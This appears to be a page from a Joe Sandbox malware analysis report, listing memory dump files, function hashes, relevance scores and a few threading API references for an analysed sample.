Associated: 00000001.00000002.2281152615.0000000000D1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281182223.0000000000D22000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281211236.0000000000D23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281254253.0000000000D24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281279546.0000000000D2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281348020.0000000000D3D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281367812.0000000000D3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281433309.0000000000D5F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281497404.0000000000D60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281497404.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281546352.0000000000D97000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281566948.0000000000D98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281626477.0000000000D99000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281647164.0000000000D9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281707623.0000000000DA0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281729210.0000000000DAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281785348.0000000000DAF000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_aa0000_random.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2d6a982e8de5cdfed449002b8c4a1f976e108e928363bd9c3b34ef9b32a7a7ef
Instruction ID: deab8620f42af0e9e91996a4f37ed38cbabcd84da3f232f195413c0c8798a238
Opcode Fuzzy Hash: 2d6a982e8de5cdfed449002b8c4a1f976e108e928363bd9c3b34ef9b32a7a7ef
Instruction Fuzzy Hash: 842250B3F515144BDB4CCA9DDCA27EDB2E3AFE8214B0E803DA40AE3345EA79D9158644

Function 00BB7A7E Relevance: .2, Instructions: 207COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2280118922.0000000000B17000.00000080.00000001.01000000.00000003.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.2279908771.0000000000AA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2279934664.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2279934664.0000000000B02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280064722.0000000000B09000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280084396.0000000000B0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280245226.0000000000C6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280270835.0000000000C70000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280297286.0000000000C80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280325386.0000000000C82000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280349652.0000000000C83000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280349652.0000000000C8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280410907.0000000000CA7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280473828.0000000000CA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280505765.0000000000CBD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280525638.0000000000CC0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280588467.0000000000CC6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280607574.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280666323.0000000000CCC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280687562.0000000000CD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280754907.0000000000CED000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280774262.0000000000CF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280795697.0000000000CF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280824993.0000000000CF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280846847.0000000000CFF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280915241.0000000000D03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280942148.0000000000D0B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280984962.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281011202.0000000000D0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281043135.0000000000D12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281074451.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281152615.0000000000D1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281182223.0000000000D22000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281211236.0000000000D23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281254253.0000000000D24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281279546.0000000000D2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281348020.0000000000D3D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281367812.0000000000D3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281433309.0000000000D5F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281497404.0000000000D60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281497404.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281546352.0000000000D97000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281566948.0000000000D98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281626477.0000000000D99000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281647164.0000000000D9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281707623.0000000000DA0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281729210.0000000000DAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281785348.0000000000DAF000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_aa0000_random.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f4a6bb49df0529655ab3334b9254cb8d123bd38aef23d49e373e5a40667c9619
Instruction ID: bf519b538f3ce21a08129351906d6a2d8c6229d19cd382ecd534c55d79e1a96d
Opcode Fuzzy Hash: f4a6bb49df0529655ab3334b9254cb8d123bd38aef23d49e373e5a40667c9619
Instruction Fuzzy Hash: 9C618CB3E111298BF3544D29CC543A2B7939BD8310F2F42788E9CAB7C5D97E6D099684

Function 00AA4AF0 Relevance: .2, Instructions: 158COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2279934664.0000000000AA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.2279908771.0000000000AA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2279934664.0000000000B02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280064722.0000000000B09000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280084396.0000000000B0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280118922.0000000000B17000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280245226.0000000000C6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280270835.0000000000C70000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280297286.0000000000C80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280325386.0000000000C82000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280349652.0000000000C83000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280349652.0000000000C8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280410907.0000000000CA7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280473828.0000000000CA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280505765.0000000000CBD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280525638.0000000000CC0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280588467.0000000000CC6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280607574.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280666323.0000000000CCC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280687562.0000000000CD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280754907.0000000000CED000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280774262.0000000000CF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280795697.0000000000CF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280824993.0000000000CF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280846847.0000000000CFF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280915241.0000000000D03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280942148.0000000000D0B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280984962.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281011202.0000000000D0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281043135.0000000000D12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281074451.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281152615.0000000000D1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281182223.0000000000D22000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281211236.0000000000D23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281254253.0000000000D24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281279546.0000000000D2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281348020.0000000000D3D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281367812.0000000000D3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281433309.0000000000D5F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281497404.0000000000D60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281497404.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281546352.0000000000D97000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281566948.0000000000D98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281626477.0000000000D99000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281647164.0000000000D9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281707623.0000000000DA0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281729210.0000000000DAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281785348.0000000000DAF000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_aa0000_random.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cf1f83413957c6bd0410666b1c8742e80f2fcb737f79035fd9fe90da4caf2d07
Instruction ID: d0cb8055a77e7584d0b0074f15d20eb4fa6fd0ddd66fe0c7482a8834ce63e53d
Opcode Fuzzy Hash: cf1f83413957c6bd0410666b1c8742e80f2fcb737f79035fd9fe90da4caf2d07
Instruction Fuzzy Hash: 6551B3706187918FD319CF2D811563AFBE1AFDA200F084A9EF0E687292D774DA44CBA1

Function 00AE8720 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2279934664.0000000000AA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.2279908771.0000000000AA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2279934664.0000000000B02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280064722.0000000000B09000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280084396.0000000000B0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280118922.0000000000B17000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280245226.0000000000C6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280270835.0000000000C70000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280297286.0000000000C80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280325386.0000000000C82000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280349652.0000000000C83000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280349652.0000000000C8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280410907.0000000000CA7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280473828.0000000000CA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280505765.0000000000CBD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280525638.0000000000CC0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280588467.0000000000CC6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280607574.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280666323.0000000000CCC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280687562.0000000000CD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280754907.0000000000CED000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280774262.0000000000CF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280795697.0000000000CF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280824993.0000000000CF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280846847.0000000000CFF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280915241.0000000000D03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280942148.0000000000D0B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280984962.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281011202.0000000000D0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281043135.0000000000D12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281074451.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281152615.0000000000D1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281182223.0000000000D22000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281211236.0000000000D23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281254253.0000000000D24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281279546.0000000000D2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281348020.0000000000D3D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281367812.0000000000D3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281433309.0000000000D5F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281497404.0000000000D60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281497404.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281546352.0000000000D97000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281566948.0000000000D98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281626477.0000000000D99000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281647164.0000000000D9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281707623.0000000000DA0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281729210.0000000000DAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281785348.0000000000DAF000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_aa0000_random.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: 00e6284c21c99bf3d9f55f5d825ced860a6d115203571900f8850c929cb522e1
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: 3911087B2001C147D605872FC9F45B7BB96EAC5322B3C437AD04A4B758DA3B9945E900

Function 053006D3 Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2284763973.0000000005300000.00000040.00001000.00020000.00000000.sdmp, Offset: 05300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5300000_random.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4d4e392f23d0d9e3dcd82b44623643a8038b7d2ff0678b064c41d127ba1fac92
Instruction ID: 278b5a4acba82f98308da1d2320d50ccbb763fecd69e9626f4dd464f43b72b5d
Opcode Fuzzy Hash: 4d4e392f23d0d9e3dcd82b44623643a8038b7d2ff0678b064c41d127ba1fac92
Instruction Fuzzy Hash: EDE0E5F34086806FF20892B49A2AFFAB77CE9C5630720952AE441E7096E25C08459471

Function 00ADA1C2 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2279934664.0000000000AA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.2279908771.0000000000AA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2279934664.0000000000B02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280064722.0000000000B09000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280084396.0000000000B0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280118922.0000000000B17000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280245226.0000000000C6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280270835.0000000000C70000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280297286.0000000000C80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280325386.0000000000C82000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280349652.0000000000C83000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280349652.0000000000C8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280410907.0000000000CA7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280473828.0000000000CA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280505765.0000000000CBD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280525638.0000000000CC0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280588467.0000000000CC6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280607574.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280666323.0000000000CCC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280687562.0000000000CD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280754907.0000000000CED000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280774262.0000000000CF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280795697.0000000000CF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280824993.0000000000CF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280846847.0000000000CFF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280915241.0000000000D03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280942148.0000000000D0B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280984962.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281011202.0000000000D0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281043135.0000000000D12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281074451.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281152615.0000000000D1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281182223.0000000000D22000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281211236.0000000000D23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281254253.0000000000D24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281279546.0000000000D2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281348020.0000000000D3D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281367812.0000000000D3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281433309.0000000000D5F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281497404.0000000000D60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281497404.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281546352.0000000000D97000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281566948.0000000000D98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281626477.0000000000D99000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281647164.0000000000D9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281707623.0000000000DA0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281729210.0000000000DAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281785348.0000000000DAF000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_aa0000_random.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction ID: 44431bb2dcab1ac13b090a0347088d6ea9ef6202c423612bf6c2038a7b480e8d
Opcode Fuzzy Hash: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction Fuzzy Hash: 37E0B676925228EBCB15DB988A4498AF2ACEB49B50F554697B502D3251C270DF00D7D1

Function 00AA2E80 Relevance: 10.8, APIs: 7, Instructions: 272threadCOMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00AA2F1F
GetCurrentThreadId.KERNEL32 ref: 00AA2F3E
__Mtx_unlock.LIBCPMT ref: 00AA2F8C
__Cnd_broadcast.LIBCPMT ref: 00AA2FA3
__Mtx_unlock.LIBCPMT ref: 00AA30B5
GetCurrentThreadId.KERNEL32 ref: 00AA30F2
__Mtx_unlock.LIBCPMT ref: 00AA315B

Memory Dump Source

Source File: 00000001.00000002.2279934664.0000000000AA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.2279908771.0000000000AA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2279934664.0000000000B02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280064722.0000000000B09000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280084396.0000000000B0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280118922.0000000000B17000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280245226.0000000000C6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280270835.0000000000C70000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280297286.0000000000C80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280325386.0000000000C82000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280349652.0000000000C83000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280349652.0000000000C8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280410907.0000000000CA7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280473828.0000000000CA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280505765.0000000000CBD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280525638.0000000000CC0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280588467.0000000000CC6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280607574.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280666323.0000000000CCC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280687562.0000000000CD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280754907.0000000000CED000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280774262.0000000000CF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280795697.0000000000CF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280824993.0000000000CF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280846847.0000000000CFF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280915241.0000000000D03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280942148.0000000000D0B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280984962.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281011202.0000000000D0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281043135.0000000000D12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281074451.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281152615.0000000000D1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281182223.0000000000D22000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281211236.0000000000D23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281254253.0000000000D24000.00000080.00000001.01000000.00000003.sdmpDownload File
